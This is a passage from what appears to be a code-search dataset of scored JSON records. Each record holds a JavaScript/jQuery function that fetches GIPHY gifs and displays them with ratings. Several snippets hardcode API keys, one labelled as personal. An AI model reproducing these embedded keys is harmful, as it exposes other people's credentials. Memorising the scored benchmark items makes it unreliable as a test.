gifArray[i].rating;\n\n\t\t\t$(\"#seeGifs\").append(\"<div class='left'><p>Rated: \"+gifRating+\"</p><p><img class='moveMe' id='\"+gifDisplayMove+\"' src=\"+gifDisplayStill+\"></p><div>\");\n\t\t};\n\n\t\tconsole.log(response);\n\n\t\t});\n\n}", "title": "" }, { "docid": "31623ac4ff5310557b1c6fb227c635ae", "score": "0.76470035", "text": "function gifload(str) {\n let queryURL = \"https://api.giphy.com/v1/gifs/search?api_key=cGcH9tjBLu2GddQkvgvJX4ctXpjrMMC5&q=\"\n + str +\n \"&limit=10&offset=0\";\n $.ajax({\n url: queryURL,\n method: \"GET\"\n }).then(function (response) {\n let arr = response.data\n $(\"#gifs\").empty();\n urlstill = [];\n urlactive = [];\n for (i = 0; i < arr.length; i++) {\n urlstill.push(arr[i].images.fixed_height_still.url);\n urlactive.push(arr[i].images.fixed_height.url);\n let rating = $(\"<div>\").text(\"Rating: \" + arr[i].rating);\n let gif = $(\"<img>\").attr(\"src\", urlstill[i]).addClass(\"static\").attr(\"index\", i);\n $(\"#gifs\").append($(\"<div>\").append(rating).append(gif));\n giflistener(gif);\n };\n });\n}", "title": "" }, { "docid": "faf068cf3ceb415e09c84a0e9f741ac6", "score": "0.76195943", "text": "function getGifs() {\n var gifClip = $(this).attr(\"data-name\"); // \"data\" is the name of the object from GIPHY API\n var fishClip = \"fishing+\" + gifClip; //Adding \"fishing\" to all search strings to keep it in context.\n var apiKey = \"72d9ab225f604dd886525d7f63eb5f65\"; //my personal API key\n var gifRating = \"g\"; //filters results by the specified rating.\n var queryURL = \"http://api.giphy.com/v1/gifs/search?q=\"+fishClip+\"&apikey=\"+apiKey+\"&limit=\"+gifLimit;\n\n $(\"#gifView\").html(\"\");\n\n // Create an AJAX call for the specific button being clicked\n $.ajax({\n url: queryURL,\n method: \"GET\"\n }).done(function(response) {\n \n //Create another div to contain the gif images \n var gifPlace = $(\"<div id='gifView'>\");\n $(\"#container\").append(gifPlace); \n \n for (var i=0; i<gifLimit; i++) {\n //get the rating from the API and write it to an array.\n var getRating = response.data[i].rating;\n ratingArray[i] = getRating;\n \n //get the URLs for the still image from the API and write it to an array.\n var getStillImg = response.data[i].images.fixed_height_small_still.url;\n stillArray[i] = getStillImg;\n \n //get the URLs for the animated images from the API and write it to an array.\n var getAnimatedImg = response.data[i].images.fixed_height_small.url;\n animatedArray[i] = getAnimatedImg;\n\n //Define an array object to contain all the image information\n imageObj[i] = { \n rated: ratingArray[i],\n still: stillArray[i],\n animated: animatedArray[i]\n } \n } //end for loop\n\n //This section populates the div from the imageObj\n for (var i=0; i<gifLimit; i++) {\n //assign attributes to display the rating, still, and animated data\n var rating = imageObj[i].rated;\n console.log (\"rating is \")+ rating;\n var pRate = $(\"<span>\").text(\"Rating: \" + rating);\n gifPlace.append(pRate);\n \n var stillImg = imageObj[i].still;\n var image = $(\"<img id='still'>\");\n image.addClass(\"gif\");\n image.attr(\"src\", stillImg);\n gifPlace.append(image);\n\n var animatedImg = imageObj[i].animated;\n var animated = $(\"<img id='animated'>\") ;\n animated.addClass(\"gif\");\n animated.attr(\"src\", animatedImg);\n } //end for loop\n $(\"#gifView\").prepend(gifPlace);\n }); //end AJAX function call\n } //end function getGifs", "title": "" }, { "docid": "ceaa782702bb5c1e67a9735a211df2a8", "score": "0.76113296", "text": "function getgifs() {\n return $.ajax({\n url: 'http://api.giphy.com/v1/gifs/random?api_key=dc6zaTOxFJmzC',\n method: 'GET',\n dataType: 'json'\n })\n }", "title": "" }, { "docid": "80dec28b6ae8cb226c3832e1af7dd2f9", "score": "0.76105434", "text": "function fetchGifs() {\n var animal = $(this).data('animal');\n var queryURL = \"https://api.giphy.com/v1/gifs/search?q=\" + animal + \"&api_key=dc6zaTOxFJmzC&limit=10\";\n\n //AJAX CAll\n $.ajax({\n url: queryURL,\n method: 'GET'\n })\n //function to add to array\n .done(function(response) {\n\n var results = response.data;\n\n for (var i = 0; i < results.length; i++) {\n \n var animalDiv = $('<div>');\n\n var p = $('<p>').text(\"Rating: \" + results[i].rating);\n\n var animalImage = $('<img>').addClass('giphy-animals');\n animalImage.attr('src', results[i].images.fixed_height_still.url).attr('data-state', 'still').attr('data-still', results[i].images.fixed_height_still.url).attr('data-animate', results[i].images.fixed_height.url);\n\n animalDiv.append(p);\n animalDiv.append(animalImage);\n\n $('#animalsAppear').prepend(animalDiv);\n }\t\n \t\t });\n\t\t}", "title": "" }, { "docid": "18d3ff214678d5a7998296ecbb645fb4", "score": "0.7609158", "text": "function displayGifs() {\n\n var gif = $(this).attr(\"data-name\");\n var queryURL = \"https://api.giphy.com/v1/gifs/search?q=\" +\n gif + \"&api_key=F3gHI0icvoKE31THDhy3QynIGjV7PUiz&limit=10\";\n\n // ajax call\n $.ajax({\n url: queryURL,\n method: \"GET\"\n }).then(function(response) {\n\n console.log(response);\n var results = response.data;\n\n for (var i = 0; i < results.length; i++) {\n var gifDiv = $(\"<div>\");\n\n var rating = results[i].rating;\n\n var p = $(\"<p>\").text(\"Rating: \" + rating);\n\n var Image = $(\"<img>\");\n Image.attr(\"src\", results[i].images.original_still.url);\n Image.attr(\"data-still\", results[i].images.original_still.url);\n Image.attr(\"data-animate\", results[i].images.original.url);\n Image.addClass(\"gifclass\");\n\n gifDiv.append(Image);\n gifDiv.append(p);\n \n $(\"#gifs-appear-here\").prepend(gifDiv);\n }\n })\n\n }", "title": "" }, { "docid": "58b2d21f834112e9eaeaec50b4f8fcc7", "score": "0.75857836", "text": "function displayGifs() {\n\tvar movie = $(this).attr(\"data-name\");\n\tvar queryURL = \"https://api.giphy.com/v1/gifs/search?q=\" + movie + \"&api_key=dc6zaTOxFJmzC&limit=10\";\n\t\n\t$.ajax({\n\t\turl: queryURL,\n\t\tmethod: 'GET'\n\t})\n\n\t.done(function(response) {\n\t\t$(\"#gifsView\").empty();\n\t\t//show results of gifs\n\t\tvar results = response.data;\n\t\tif (results == \"\"){\n\t\t\talert(\"Are you sure this was a Pixar Movie\");\n\t\t\t\t\n\t\t}\n\t\tfor (var i = 0; i<results.length; i++){\n\t\t\t//put gifs in a div\n\t\t\tvar gifDiv = $(\"<div1>\");\n\t\t\t//pull rating of gif\n\t\t\tvar gifRating = $(\"<p>\").text(\"Rating \" + results[i].rating);\n\t\t\tgifDiv.append(gifRating);\n\n\t\t\t//pull gif\n\t\t\tvar gifImage = $(\"<img>\");\n\t\t\tgifImage.attr(\"src\", results[i].images.fixed_height_small_still.url);\n\t\t\t//paused images\n\t\t\tgifImage.attr(\"data-still\", results[i].images.fixed_height_small_still.url);\n\t\t\t//animated images\n\t\t\tgifImage.attr(\"data-animate\", results[i].images.fixed_height_small.url);\n\t\t\t//how images come in, already paused\n\t\t\tgifImage.attr(\"data-state\", \"still\");\n\t\t\tgifImage.addClass(\"image\");\n\t\t\tgifDiv.append(gifImage);\n\t\t\t//add new div to existing divs\n\t\t\t$(\"#gifsView\").prepend(gifDiv);\n\t\t}\n\t});\n}", "title": "" }, { "docid": "2ec16a6ea8c53c5fbdbb67e9aa8b034f", "score": "0.7584079", "text": "function getGif(element) {\n $(\"#showGif\").empty();\n console.log(gifLimit);\n var giphyUrl = \"https://api.giphy.com/v1/gifs/search?q=\"+element+\"&api_key=o2KZbrj7FUzmnGfL1Yx5daKlI0quThpg&limit=\"+gifLimit\n $(\"#header\").empty();\n\n $.ajax({\n url: giphyUrl,\n method: \"GET\"\n }).then(function(result) {\n console.log(result)\n \n // var pageNum;\n var response = result.data;\n // var imageAnimate;\n $(\"#header\").text(\"Click Image for animation\");\n\n for (var a=0; a<response.length; a++) {\n //add gif\n var gifStill = response[a].images.fixed_height_still.url;\n var gifAnimate = response[a].images.fixed_height.url;\n var combineDiv = $(\"<div>\");\n var gifDiv=$(\"<img>\");\n combineDiv.attr(\"class\",\"combineDiv\");\n gifDiv.attr(\"src\", gifStill);\n gifDiv.attr(\"data-still\", gifStill);\n gifDiv.attr(\"data-animate\", gifAnimate);\n gifDiv.attr(\"class\", \"gifImage\");\n gifDiv.attr(\"data-state\", \"still\");\n combineDiv.append(gifDiv)\n $(\"#showGif\").prepend(combineDiv);\n //add rating and title\n var ratingDiv = $(\"<div class='ratingDiv'>\");\n // var titleDiv = $(\"<div class='ratingDiv' id='title'>\");\n // ratingDiv.append(\"Title: \"+response[a].title+\"<br>\"); \n ratingDiv.append(\"Rating: \"+response[a].rating); \n combineDiv.prepend(ratingDiv);\n }\n \n\n //try to create page\n // for (var j=0; j<5; j++) {\n // var pageNumBtn = $(\"<button>\");\n // pageNumBtn.html(j+1);\n // pageNumBtn.attr('class','pageBtn');\n // pageNum =j+1;\n // var gifPageDiv= $(\"<div>\");\n // gifPageDiv.attr(\"class\", pageNum); //for page click\n // $(\"#header\").append(pageNum+\" \");\n // }\n // //show 10 gif in each page\n \n // for (e=10*(pageNum-1); e<10*(pageNum-1); e++) {\n // var gifDiv = $(\"<img>\");\n // gifDiv.attr(\"src\", response[e].images.fixed_height.url);\n // var pageClass=\"'\"+\".\"+pageNum+\"'\";\n // console.log(pageClass);\n // var page= $(pageClass).append(gifDiv);\n \n // };\n // $(\"#showGif\").append(page);\n });\n }", "title": "" }, { "docid": "5a293abb093538313388f12c06b2aaa6", "score": "0.7583109", "text": "function appendGifs(response) {\n var gifs = response.data;\n for (var i = 0; i < 10; i++) {\n var stillImg = gifs[i].images.original_still.url;\n var movingImg = gifs[i].images.preview_gif.url;\n var id = gifs[i].id;\n $(\"#gif-results\").append(\"<div class='gif-div' id=\" + id + \"><li><img data-moving='\" + movingImg + \"' data-still='\" + stillImg + \"' src='\" + stillImg + \"'></li>\" + \"<p>Rated \" + (gifs[i].rating).toUpperCase() + \"</p>\");\n $(\"#\" + id).on(\"click\", function(e) {\n var moving = $(this).find('img').data().moving;\n var still = $(this).find('img').data().still;\n var src = $(this).find('img').attr('src');\n if (src === still) {\n $(this).find('img').attr('src', moving);\n } else {\n $(this).find('img').attr('src', still);\n }\n });\n }\n }", "title": "" }, { "docid": "bbc74b3778e05b39338552ae98aaa78b", "score": "0.75413656", "text": "function addGifs(superhero) {\n queryURL = \"https://api.giphy.com/v1/gifs/search?q=\" + superhero + \"&api_key=O5gqK18l7eNt8ypQ4z8w0TnVSSukgLzF&limit=10\";\n\n $.ajax({\n url: queryURL,\n method: \"GET\"\n }).then(function(response) {\n var results = response.data;\n $(\"#gifs\").html(\"\");\n for (var i = 0; i < results.length; i++) {\n var imageDiv = $(\"<div>\").addClass(\"d-inline-block m-3\");\n var rating = $(\"<h6>\").text(\"Rating: \" + results[i].rating.toUpperCase());\n var image = $(\"<img>\").attr(\"src\", results[i].images.fixed_height_still.url);\n image.attr(\"src\", results[i].images.fixed_height_still.url);\n image.attr(\"alt\", superhero + \"-gif\");\n image.attr(\"data-still\", results[i].images.fixed_height_still.url);\n image.attr(\"data-animate\", results[i].images.fixed_height.url);\n image.attr(\"data-state\", \"still\");\n image.attr(\"class\", \"gif\");\n imageDiv.append(rating);\n imageDiv.append(image);\n $(\"#gifs\").append(imageDiv);\n }\n });\n}", "title": "" }, { "docid": "02314b25cfc16dddedf3da737ab731cd", "score": "0.75395834", "text": "function gif(tag) {\n var html_to_add = '<div id=\"gif_division\">';\n html_to_add += '<section id=\"id' + fixTagDIV(tag) + '\" class=\"panel panel-default\">';\n html_to_add += '<div id=\"h2' + fixTagDIV(tag) + '\" class=\"panel-heading\">' + 'GIF: ' + tag.capitalize() + '</div>';\n html_to_add += '<ul class=\"pager\" id=\"' + fixTagDIV(tag) + '-pagination\"><li><a id=\"' + fixTagDIV(tag) + '-previous\" href=\"#\">Previous</a></li> <li><a id=\"' + fixTagDIV(tag) + '-next\" href=\"#\">Next</a></li></ul>';\n html_to_add += '<div class=\"panel-body\">';\n html_to_add += '<ul id=\"' + fixTagDIV(tag) + '\">';\n $.getJSON( \"api/gif/rank/\" + fixTagURL(tag) + \".json\", function(data) {\n if($.isEmptyObject(data)){\n $(\"#h2\" + fixTagDIV(tag)).html(tag.capitalize() + ': Nothing found');\n }\n $.each(data, function(i, field) {\n var splitData = ((field.media_url).split(\".com\"))[1];\n if(!($.inArray(splitData, urlsVisited) != -1)) {\n var current_html = '<li>';\n //current_html += '<a href=\"#\" class=\"wrapper_over\">';\n //current_html += '<span class=\"text_over\">14</span>';\n current_html += '<img src=\"' + field.media_url + '\" data-src=\"' + field.media_url + '\" alt=\"\" width=\"240\" height=\"180\" onerror=\"imgError(this);\">';\n //current_html += '</a>';\n current_html += '</li>';\n $('#' + fixTagDIV(tag)).append(current_html);\n $('#' + fixTagDIV(tag)).paginate({itemsPerPage: 15});\n }\n urlsVisited.push(splitData);\n });\n });\n html_to_add += '</ul></div></section></div>';\n $('#results').append(html_to_add);\n $(\"#h2\" + fixTagDIV(tag)).click(function() {\n $(\"#\" + fixTagDIV(tag)).toggle();\n });\n $(document).ready(function() {\n $('#' + fixTagDIV(tag)).paginate({itemsPerPage: 15});\n });\n}", "title": "" }, { "docid": "fbd103d491b479c5636a061920704917", "score": "0.75249285", "text": "function getGif(query) {\n query = query.replace(' ', '+');\n var params = { 'api_key': apikey, 'q': query};\n params = encodeQueryData(params);\n\n httpGetAsync('http://api.giphy.com/v1/gifs/search?' + params, function(data) {\n \n var gifs = JSON.parse(data);\n var target = $('#image')\n for(var x=0; x<gifs.data.length-16; x++){\n var showgif = gifs.data[x].images.fixed_width.url;\n $(\"#image\"+(x+1)).html(\"<img src='\" + showgif + \"'>\");\n };\n\n\n })\n }", "title": "" }, { "docid": "b04214985676f5dc0b1d8d4103e1ca49", "score": "0.7523562", "text": "function loadGifs(){\n\tvar queryURL = \"http://api.giphy.com/v1/gifs/search?q=\" +\n animalName + \"&api_key=dc6zaTOxFJmzC&limit=10\";\n\n\t $.ajax({\n url: queryURL,\n method: \"GET\"\n })\n .done(function(response) {\n var results = response.data;\n console.log(results);\n for (var i = 0; i < 10; i++) {\n \t var gifDiv = $(\"<div class='item'>\");\n\n var rating = results[i].rating;\n\n var p = $(\"<p>\").text(\"Rating: \" + rating);\n \n // prevent NSFW gifs\n if(rating === \"g\" || rating === \"pg\"){\n\t var animalImg = $(\"<img>\");\n\t animalImg.attr({\"src\": results[i].images.fixed_height_still.url, \n\t \t \"data-still\": results[i].images.fixed_height_still.url,\n\t \t \"data-animate\": results[i].images.fixed_height.url,\n\t \t \"data-state\": \"still\",\n\t \t \t \"class\": \"animalGif\"});\n\t gifDiv.prepend(animalImg, p);\n\n\t $(\"#gifArea\").append(gifDiv);\n \t };\n }\n // adds the name of the selected animal/button to the div area\n var addDiv = $(\"<div class='centered'>\")\n var addHeader = $(\"<h2 id='animalHeader'>\").text(animalName);\n var selectedAnimal= addDiv.append(addHeader);\n $(\"#gifArea\").prepend(selectedAnimal); \n });\n} //end of loadGifs function", "title": "" }, { "docid": "bd4ade982c102e2bfd0674479c698d8c", "score": "0.7513251", "text": "function getTheGif(toons) {\r\n \r\n $(\".buttons .active\").removeClass(\"active\");\r\n $(toons).addClass(\"active\");\r\n // set up query string\r\n query = {\r\n \"api_key\" : gifyAPI,\r\n \"q\" : $(toons).html(),\r\n \"limit\" : limit,\r\n \r\n };\r\n query = $.param(query);\r\n path = urlSnippet + \"?\" + query;\r\n // ajax stuff\r\n $.ajax({\r\n url: path,\r\n type: 'GET',\r\n })\r\n .done(function(response) {\r\n \r\n // Clear old gifs\r\n $(\".card-columns\").empty();\r\n // Loop through results\r\n var gifArray = response.data;\r\n for (var i = 0; i < gifArray.length; i++) {\r\n // Build a card\r\n\r\n var imgSrc = gifArray[i].images.downsized_still.url;\r\n var imgLink = gifArray[i].url;\r\n var embedLink = gifArray[i].embed_url;\r\n // some html info\r\n var card = [\r\n \"<div class='card'>\",\r\n \"<img class='card-img-top' src='\"+imgSrc+\"'>\",\r\n \"<div class='card-block'>\",\r\n \"<a href='\"+imgLink+\"' target='_blank' class=''><i class='fa fa-external-link' aria-hidden='true'></i>View on Giphy</a> \",\r\n \"<a class='clip' data-toggle='tooltip' title='Copied!' data-clipboard-text='\"+embedLink+\"' href='#'><i class='fa fa-clipboard' aria-hidden='true'></i> Copy embed link</a>\",\r\n \"</div>\",\r\n \"<div class='card-footer card-inverse text-muted'>Rating: \"+gifArray[i].rating.toUpperCase(),\r\n \"</div>\",\r\n \"</div>\"\r\n ];\r\n // Use join to concatenate html block in the card array\r\n $(\".card-columns\").prepend(card.join(''));\r\n }\r\n })\r\n .fail(function() {\r\n console.log(\"error\");\r\n });\r\n}", "title": "" }, { "docid": "bb03bcfb1ebd2f9e4b05bf1710491123", "score": "0.74839824", "text": "function displayGifList(){\n\n $('#gifViewer').empty();\n\n meme = $(this).attr('meme-name');\n\n var queryURL = \"https://api.giphy.com/v1/gifs/search?q=\" +\n meme + \"&api_key=dc6zaTOxFJmzC&limit=10\";\n\n// var queryURL = \"http://api.giphy.com/v1/gifs/translate?s=\" + \n // meme + \"&api_key=dc6zaTOxFJmzC&limit=10\";\n \n $.ajax({url: queryURL,method: \"GET\"})\n .done(function(response) {\n var results = response.data;\n console.log(response);\n\n for (var i = 0; i < results.length; i++) {\n\n // if (results[i].rating !== \"r\" && results[i].rating !== \"pg-13\") {} \n // var gifDiv = $(\"<div>\");\n // gifDiv.attr(\"state\", \"still\");\n var rating = results[i].rating;\n\n var p = $(\"<p>\").text(\"Rating: \" + rating);\n\n var pImage = $(\"<img>\");\n pImage.attr(\"src\", results[i].images.downsized_still.url);\n pImage.attr(\"src-still\", results[i].images.downsized_still.url);\n pImage.attr(\"src-animate\", results[i].images.downsized.url);\n pImage.attr(\"state\", \"still\");\n pImage.attr(\"class\", \"gif\");\n\n $(\"#gifViewer\").prepend(p);\n $(\"#gifViewer\").prepend(pImage);\n\n }\n }); \n}", "title": "" }, { "docid": "fe9aa5f496d46476d6d7491234c9cc65", "score": "0.7478645", "text": "function displaygif() {\n //var gif = $(this).attr(\"data-type\");\n var topicData = $(this).attr(\"data-topic\");\n var queryURL = \"http://api.giphy.com/v1/gifs/search?q=\" + topicData + \"&api_key=\" + key + \"&limit=5\"\n $.ajax({\n url: queryURL,\n method: \"GET\"\n }).then(function (response) {\n console.log(\"line 79 call \" + response);\n var response = response.data;\n \n for (var i = 0; i < response.length; i++) {\n var gifUrl = response[i].images.fixed_height.url;\n var gifStill = response[i].images.original_still.url;\n var gifAnimate = response[i].images.fixed_height.url;\n console.log(topics);\n\n let p = $(\"<p>\")\n p.addClass(\"pTag\")\n let img = $(\"<img>\")\n let a = $(\"<p>\").text(\"Rating: \" + response[i].rating)\n img.addClass(\"gif-img\")\n img.attr(\"src\", gifUrl)\n img.attr(\"data-animate\", gifAnimate)\n img.attr(\"data-still\", gifStill)\n p.append(img)\n p.append(a)\n $(\"#gif-view\").prepend(p)\n };\n\n });\n\n}", "title": "" }, { "docid": "a498eff8cb015853df27d9ed83f8f0cc", "score": "0.74747676", "text": "function displayGifs(){\n var input = $(this).attr(\"data-name\");\n var queryURL = \"https://api.giphy.com/v1/gifs/random?api_key=dc6zaTOxFJmzC&tag= \" + input + \";\" + \"\"\n console.log(queryURL);\n \n $.ajax({\n url: queryURL,\n method: \"GET\"\n })\n\n //this means is done grabbing the api\n .done(function(response) {\n \n // img taggy for giphy\n var myImage = $(\"<img class='giphy' data-state='still'>\");\n \n myImage.attr(\"src\", response.data.fixed_height_small_still_url);\n myImage.attr(\"data-still\", response.data.fixed_height_small_still_url);\n myImage.attr(\"data-animate\", response.data.fixed_height_small_url);\n \n $(\"#images\").prepend(myImage);\n \n\n console.log(response);\n \n });\n }", "title": "" }, { "docid": "83699adb088abce8e46572a6bbcb665c", "score": "0.7466017", "text": "function getGifs(showGifs){\n\n var showAPI = \"https://api.giphy.com/v1/gifs/search?api_key=dc6zaTOxFJmzC&q=\" + showGifs + \"&limit=10&rating\";\n\n $.ajax({\n method: \"GET\",\n url: showAPI,\n })\n //show results\n .done(function(result) {\n var results = result.data;\n })\n}", "title": "" }, { "docid": "7a07e07b576832b88af091ac0c946530", "score": "0.74603987", "text": "function displayGifs() {\n var userAn = $(this).attr(\"data-name\");\n var queryURL = \"https://api.giphy.com/v1/gifs/search?q=\" + userAn + \"&api_key=dc6zaTOxFJmzC&limit=8\";\n \n $.ajax({\n url: queryURL,\n method: 'GET'\n })\n \n .done(function(response) {\n $(\"#images\").empty();\n \n var results = response.data;\n console.log(results);\n for (var i = 0; i<results.length; i++){\n var gifDiv = $(\"<div1 style='float:left'>\");\n var gifRating = $(\"<p>\").text(\"Rating \" + results[i].rating);\n console.log(results[i].title);\n gifDiv.append(gifRating);\n\n\n console.log(results[i].images.fixed_height_small_still.url);\n //pull gif\n var gifImage = $(\"<img>\");\n gifImage.attr(\"src\", results[i].images.fixed_height_small_still.url);\n //paused images\n gifImage.attr(\"data-still\", results[i].images.fixed_height_small_still.url);\n //animated images\n gifImage.attr(\"data-animate\", results[i].images.fixed_height_small.url);\n //how images come in, already paused\n gifImage.attr(\"data-state\", \"still\");\n gifImage.addClass(\"image\");\n gifDiv.append(gifImage);\n //add new div to existing divs\n $(\"#images\").prepend(gifDiv);\n }\n });\n }", "title": "" }, { "docid": "2a4cdae8875c98f59ded85e1e8d74385", "score": "0.7458341", "text": "function gameGifs() {\n // variables for game name using the data-name attribute set above...\n var gameName = $(this).attr(\"data-name\");\n // and create a variable for the api url using the gameName variable\n var queryURL = \"https://api.giphy.com/v1/gifs/search?q=\" +\n gameName + \"&api_key=dc6zaTOxFJmzC&limit=10\";\n\n // An ajax call to the giphy api to request the gifs\n $.ajax({\n url: queryURL,\n method: \"GET\"\n }).then(function (response) {\n // setting a variable to store the resonse array\n var results = response.data;\n // console log the array (helps to get the needed paths)\n console.log(results);\n // a for loop to loop through the created array...\n for (var i = 0; i < results.length; i++) {\n // a variable to create a new div...\n var gifDiv = $(\"<div>\");\n // a div to store the gif rating\n var rating = results[i].rating;\n // a variable to createa paragraph element and add the rating to it\n var p = $(\"<p>\").text(\"Rating: \" + rating);\n // adding a rating-text class to the paragraphs\n p.addClass(\"rating-text\");\n \n var gameGif = $(\"<img>\");\n gameGif.attr({\n \"src\": results[i].images.original_still.url,\n \"still-url\": results[i].images.original_still.url,\n \"animate-url\": results[i].images.original.url,\n \"data-state\": \"still\",\n \"class\": \"game-gifs col\"\n });\n\n gifDiv.prepend(gameGif);\n gifDiv.prepend(p);\n\n\n $(\"#gif-area\").prepend(gifDiv);\n }\n });\n}", "title": "" }, { "docid": "efeaf200355a180295adcc96a0e712ba", "score": "0.7458332", "text": "function displayGifs() {\n\n var gif = $(this).attr(\"data-name\");\n var queryURL = \"https://api.giphy.com/v1/gifs/search?api_key=DtZ1CEmAXaJle2RIii8Gagqf4NffsWhP&q=\" + gif + \"&offset=0&rating=G&lang=en\"\n\n $(\"#add-gif\").empty();\n\n $.ajax({\n url: queryURL,\n method: \"GET\"\n }).then(function (response) {\n\n for (var i = 0; i < 10; i++) {\n\n var gifImage = $(\"<img class='gifImage'>\");\n gifImage.attr(\"src\", response.data[i].images.fixed_height_still.url);\n gifImage.attr(\"data-animate\", response.data[i].images.fixed_height.url);\n gifImage.attr(\"data-still\", response.data[i].images.fixed_height_still.url);\n $(\"#add-gif\").append(gifImage);\n\n }\n\n var instructions = $(\"#instructions\");\n instructions.empty();\n instructions.append(\"<p>Double click on the images below to see them move</p>\");\n \n\n });\n}", "title": "" }, { "docid": "598e7a040d9211410786fcef5a5364de", "score": "0.74517316", "text": "function displayGifs(){\n var action = $(this).attr(\"data-name\");\n var queryURL = \"http://api.giphy.com/v1/gifs/search?q=\" + action + \"&api_key=dc6zaTOxFJmzC&limit=10\";\n console.log(queryURL); \n $.ajax({\n url: queryURL,\n method: 'GET'\n })\n .done(function(response) {\n console.log(response); \n $(\"#gifsView\").empty(); \n var results = response.data; \n if (results == \"\"){\n alert(\"There isn't a gif for this selected button\");\n }\n for (var i=0; i<results.length; i++){\n\n var gifDiv = $(\"<div>\"); \n gifDiv.addClass(\"gifDiv\");\n // pulling rating of gif\n var gifRating = $(\"<p>\").text(\"Rating: \" + results[i].rating);\n gifDiv.append(gifRating);\n // pulling gif\n var gifImage = $(\"<img>\");\n gifImage.attr(\"src\", results[i].images.fixed_height_small_still.url); \n gifImage.attr(\"data-still\",results[i].images.fixed_height_small_still.url); \n gifImage.attr(\"data-animate\",results[i].images.fixed_height_small.url); \n gifImage.attr(\"data-state\", \"still\"); \n gifImage.addClass(\"image\");\n gifDiv.append(gifImage);\n \n \n $(\"#gifsView\").prepend(gifDiv);\n }\n });\n}", "title": "" }, { "docid": "cde3110eb0ae87d588b5854ceaa3fe27", "score": "0.7433136", "text": "function gifGenerator(input,num) { \n var queryURL = \"https://api.giphy.com/v1/gifs/search?q=\" +\n input + \"&api_key=n7jEtPuLzxf0OwIPVxFriNLrCeMwrDRD&limit=10&offset=\" + num;\n \n $.ajax({\n url: queryURL,\n method: \"GET\"\n }).then(function(response) {\n var results = response.data;\n //For each of the objects returned from the giphy api, loop to obtain images and ratings...\n for (var i = 0; i < results.length; i++) {\n //...then create divs for each new gif \n var gifDiv = $('<div class=\"col-md-4\">');\n var h4 = $(\"<h4>\")\n h4.text(\"Title: \" + results[i].title);\n var p = $(\"<p>\");\n p.text(\"Rated: \" + results[i].rating);\n var gifImage = $('<img class=\"gif\">');\n gifImage.attr(\"src\", results[i].images.fixed_height_still.url);\n gifImage.attr(\"data-still\", results[i].images.fixed_height_still.url);\n gifImage.attr(\"data-animate\", results[i].images.fixed_height.url);\n gifImage.attr(\"data-state\", \"still\");\n gifDiv.append(gifImage);\n gifDiv.append(h4);\n gifDiv.append(p); \n $(\"#giphys\").prepend(gifDiv);\n }\n });\n }", "title": "" }, { "docid": "1ea2e73373b80d5ca1e85e3c1906a373", "score": "0.7427393", "text": "function displayGifs() {\n // Created a random 10 images\n var used = Math.floor(Math.random() * 99);\n var limit = 10+used;\n \n var gifList = $(this).attr(\"data-name\");\n var queryURL = \"https://api.giphy.com/v1/gifs/search?q=\" + gifList + \"&api_key=\" + apiKey + \"&rating=\" + rating + \"&limit=\" + limit;\n $.ajax({\n url: queryURL,\n method: \"GET\"\n }).then(function (response) {\n var results = response.data;\n console.log(response);\n if (results == 0) {\n alert(\"Sorry, No results with the \\\"\"+gifList+\"\\\" title\");\n }\n for (var i = 0; i < results.length; i++) {\n var newGifs = i+used;\n var stillURL = response.data[newGifs].images.fixed_height_still.url;\n var animateURL = response.data[newGifs].images.fixed_height.url;\n var rated = response.data[newGifs].rating;\n var title = response.data[newGifs].title;\n\n // Create frame around each gif\n var frame = $(\"<div>\");\n frame.attr(\"class\", \"alert btn-success pm-01 d-inline-block text-center\")\n\n // Populate <img> with gif and info\n var img = $(\"<img>\");\n img.attr(\"src\", stillURL);\n img.attr(\"data-still\", stillURL);\n img.attr(\"data-animate\", animateURL);\n img.attr(\"data-state\", \"still\");\n img.attr(\"class\", \"gif\");\n frame.append(img);\n frame.append(\"<br>\" + title + \"<br>Rating:<b> \" + rated + \"</b>&nbsp;\");\n var favImg = $(\"<img>\");\n favImg.attr(\"src\", \"./assets/images/Fave_0.png\");\n favImg.attr(\"height\", \"20px\");\n favImg.attr(\"fave-not\", \"./assets/images/Fave_0.png\");\n favImg.attr(\"fave-yes\", \"./assets/images/Fave.png\");\n favImg.attr(\"fave-state\", \"no\");\n favImg.attr(\"title\", \"\");\n favImg.attr(\"class\", \"favorite\");\n frame.append(favImg);\n $(\"#gifs-view\").append(frame);\n }\n });\n}", "title": "" }, { "docid": "850884d92bbcadd09d45c9438cc2b8a0", "score": "0.74186516", "text": "function generateGif() {\n $(\"#movies\").empty();\n for (let g = 0; g < 12; g++) {\n $.ajax({\n url: queryURL,\n method: \"GET\"\n }) \n .done(function(response) {\n \n var thumbnail = $(\"<div class='thumbnail'>\");\n var gif = $(\"<img>\");\n var rating = $(\"<p>\");\n gifStill = response.data[g].images.fixed_width_still.url;\n gifAnimated = response.data[g].images.fixed_width.url;\n gifRating = response.data[g].rating;\n gif.attr(\"src\", gifStill);\n gif.attr(\"data-still\", gifStill);\n gif.attr(\"data-animate\", gifAnimated);\n gif.attr(\"data-state\", \"still\");\n rating.append(\"Rated: \" + gifRating);\n thumbnail.append(gif);\n thumbnail.append(rating);\n $(\"#movies\").append(thumbnail);\n });\n }\n }", "title": "" }, { "docid": "6d32f8ad3eed030d21d047c0dbbfc11c", "score": "0.7416929", "text": "function GIFAPI(sx){\r\n isloading=true;\r\n page=1;\r\n document.getElementById(\"disply_gif\").innerHTML = \"\";\r\n var gif_api= \"iI0SXrNLP7CjxfM8a1azBmBbW0XXn6wb\";\r\n var gif_url= `https://api.giphy.com/v1/gifs/search?q=${sx}&rating=g&api_key=${gif_api}`;\r\n if(sx==\"\"||(sx.indexOf(' ') >= 0))\r\n gif_url= `https://api.giphy.com/v1/gifs/trending?rating=g&api_key=${gif_api}`;\r\n///fetch the gif url t\r\n\r\nfetch(gif_url).then(resp=>resp.json()//response\r\n )\r\n .then(cont=>{//handel th data,pagination, meta\r\n console.log(cont);\r\n //console.log('META',cont.data[0]);\r\n //setgifs(conts.data); \r\n renderGifs();\r\n gifs=cont.data;\r\n setTimeout(function(){\r\n isloading=false;\r\n console.log(page);renderGifs();\r\n }, 1100);\r\n }) \r\n .catch(er=>{\r\n console.error(er);\r\n }) \r\n}", "title": "" }, { "docid": "c79f08067d4aaf86abdb7ed9e2f70c5c", "score": "0.74132115", "text": "function displayGifs() {\n var movie = $(this).attr(\"data-name\");\n var queryURL = \"https://api.giphy.com/v1/gifs/search?q=\" + movie + \"&api_key=2270exNnb9XWD9fMZnpAS03sgU2MGxpi&limit=10\";\n\n // Makes the AJAX request with the queryURL above\n\n $.ajax({ url: queryURL, method: \"GET\" }).done(function (response) {\n \n // 